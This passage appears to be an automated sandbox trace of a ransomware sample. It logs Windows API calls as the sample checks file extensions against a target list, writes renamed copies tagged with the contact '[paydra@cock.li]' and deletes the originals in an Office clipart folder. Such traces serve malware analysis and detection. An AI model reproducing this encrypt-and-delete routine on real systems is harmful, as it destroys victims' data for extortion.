[0058.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.913] lstrlenW (lpString=".rar") returned 4 [0058.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.913] lstrlenW (lpString=".bz2") returned 4 [0058.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.913] lstrlenW (lpString=".7z") returned 3 [0058.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0058.913] lstrlenW (lpString=".dbf") returned 4 [0058.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0058.913] lstrlenW (lpString=".1cd") returned 4 [0058.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0058.913] lstrlenW (lpString=".jpg") returned 4 [0058.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.913] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=6996) returned 1 [0058.913] CloseHandle (hObject=0x228) returned 1 [0058.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0058.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0058.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0058.914] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.914] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0058.914] GetLastError () returned 0x0 [0058.914] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1b54, lpOverlapped=0x0) returned 1 [0058.963] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0058.964] ReadFile (in: hFile=0x228, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.964] WriteFile (in: hFile=0x188, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.965] SetEndOfFile (hFile=0x188) returned 1 [0059.019] CloseHandle (hObject=0x188) returned 1 [0059.019] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.019] SetEndOfFile (hFile=0x228) returned 1 [0059.032] CloseHandle (hObject=0x228) returned 1 [0059.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0059.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0059.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0059.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0059.058] lstrlenW (lpString=".doc") returned 4 [0059.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.058] lstrlenW (lpString=".docx") returned 5 [0059.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.058] lstrlenW (lpString=".pdf") returned 4 [0059.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.058] lstrlenW (lpString=".xls") returned 4 [0059.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.059] lstrlenW (lpString=".xlsx") returned 5 [0059.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.059] lstrlenW (lpString=".ppt") returned 4 [0059.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0059.059] lstrlenW (lpString=".zip") returned 4 [0059.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.059] lstrlenW (lpString=".rar") returned 4 [0059.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.059] lstrlenW (lpString=".bz2") returned 4 [0059.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.059] lstrlenW (lpString=".7z") returned 3 [0059.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0059.059] lstrlenW (lpString=".dbf") returned 4 [0059.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0059.059] lstrlenW (lpString=".1cd") returned 4 [0059.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0059.059] lstrlenW (lpString=".jpg") returned 4 [0059.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.406] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.406] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.407] GetLastError () returned 0x0 [0060.407] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x5a4, lpOverlapped=0x0) returned 1 [0060.639] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0060.640] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.640] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.640] SetEndOfFile (hFile=0x230) returned 1 [0060.640] CloseHandle (hObject=0x230) returned 1 [0060.640] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.640] SetEndOfFile (hFile=0x204) returned 1 [0060.641] CloseHandle (hObject=0x204) returned 1 [0060.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0060.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0060.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0060.642] lstrlenW (lpString=".doc") returned 4 [0060.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.642] lstrlenW (lpString=".docx") returned 5 [0060.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.642] lstrlenW (lpString=".pdf") returned 4 [0060.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.642] lstrlenW (lpString=".xls") returned 4 [0060.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.642] lstrlenW (lpString=".xlsx") returned 5 [0060.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.642] lstrlenW (lpString=".ppt") returned 4 [0060.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0060.642] lstrlenW (lpString=".zip") returned 4 [0060.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.642] lstrlenW (lpString=".rar") returned 4 [0060.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.642] lstrlenW (lpString=".bz2") returned 4 [0060.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.642] lstrlenW (lpString=".7z") returned 3 [0060.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0060.642] lstrlenW (lpString=".dbf") returned 4 [0060.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0060.642] lstrlenW (lpString=".1cd") returned 4 [0060.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0060.642] lstrlenW (lpString=".jpg") returned 4 [0060.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.643] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1044) returned 1 [0060.643] CloseHandle (hObject=0x204) returned 1 [0060.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0060.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.643] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.643] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.643] GetLastError () returned 0x0 [0060.644] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x414, lpOverlapped=0x0) returned 1 [0060.661] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x420, lpOverlapped=0x0) returned 1 [0060.662] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.662] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.662] SetEndOfFile (hFile=0x230) returned 1 [0060.663] CloseHandle (hObject=0x230) returned 1 [0060.664] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.664] SetEndOfFile (hFile=0x204) returned 1 [0060.664] CloseHandle (hObject=0x204) returned 1 [0060.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0060.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0060.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0060.665] lstrlenW (lpString=".doc") returned 4 [0060.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.665] lstrlenW (lpString=".docx") returned 5 [0060.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.665] lstrlenW (lpString=".pdf") returned 4 [0060.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.665] lstrlenW (lpString=".xls") returned 4 [0060.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.665] lstrlenW (lpString=".xlsx") returned 5 [0060.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.665] lstrlenW (lpString=".ppt") returned 4 [0060.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0060.665] lstrlenW (lpString=".zip") returned 4 [0060.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.665] lstrlenW (lpString=".rar") returned 4 [0060.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.665] lstrlenW (lpString=".bz2") returned 4 [0060.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.665] lstrlenW (lpString=".7z") returned 3 [0060.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0060.665] lstrlenW (lpString=".dbf") returned 4 [0060.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0060.666] lstrlenW (lpString=".1cd") returned 4 [0060.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0060.666] lstrlenW (lpString=".jpg") returned 4 [0060.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.666] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=8366) returned 1 [0060.666] CloseHandle (hObject=0x204) returned 1 [0060.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0060.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.666] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.666] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.667] GetLastError () returned 0x0 [0060.667] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x20ae, lpOverlapped=0x0) returned 1 [0060.669] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x20b0, lpOverlapped=0x0) returned 1 [0060.670] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.670] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.670] SetEndOfFile (hFile=0x230) returned 1 [0060.670] CloseHandle (hObject=0x230) returned 1 [0060.670] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.670] SetEndOfFile (hFile=0x204) returned 1 [0060.671] CloseHandle (hObject=0x204) returned 1 [0060.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0060.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.671] lstrlenW (lpString=".doc") returned 4 [0060.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.671] lstrlenW (lpString=".docx") returned 5 [0060.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.671] lstrlenW (lpString=".pdf") returned 4 [0060.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.671] lstrlenW (lpString=".xls") returned 4 [0060.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.671] lstrlenW (lpString=".xlsx") returned 5 [0060.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.671] lstrlenW (lpString=".ppt") returned 4 [0060.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.672] lstrlenW (lpString=".zip") returned 4 [0060.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.672] lstrlenW (lpString=".rar") returned 4 [0060.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.672] lstrlenW (lpString=".bz2") returned 4 [0060.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.672] lstrlenW (lpString=".7z") returned 3 [0060.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.672] lstrlenW (lpString=".dbf") returned 4 [0060.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.672] lstrlenW (lpString=".1cd") returned 4 [0060.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.672] lstrlenW (lpString=".jpg") returned 4 [0060.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.672] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4976) returned 1 [0060.672] CloseHandle (hObject=0x204) returned 1 [0060.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0060.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.673] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.673] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.673] GetLastError () returned 0x0 [0060.673] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1370, lpOverlapped=0x0) returned 1 [0060.675] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1380, lpOverlapped=0x0) returned 1 [0060.676] ReadFile (in: hFile=0x204, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.676] WriteFile (in: hFile=0x230, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.676] SetEndOfFile (hFile=0x230) returned 1 [0060.676] CloseHandle (hObject=0x230) returned 1 [0060.676] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: 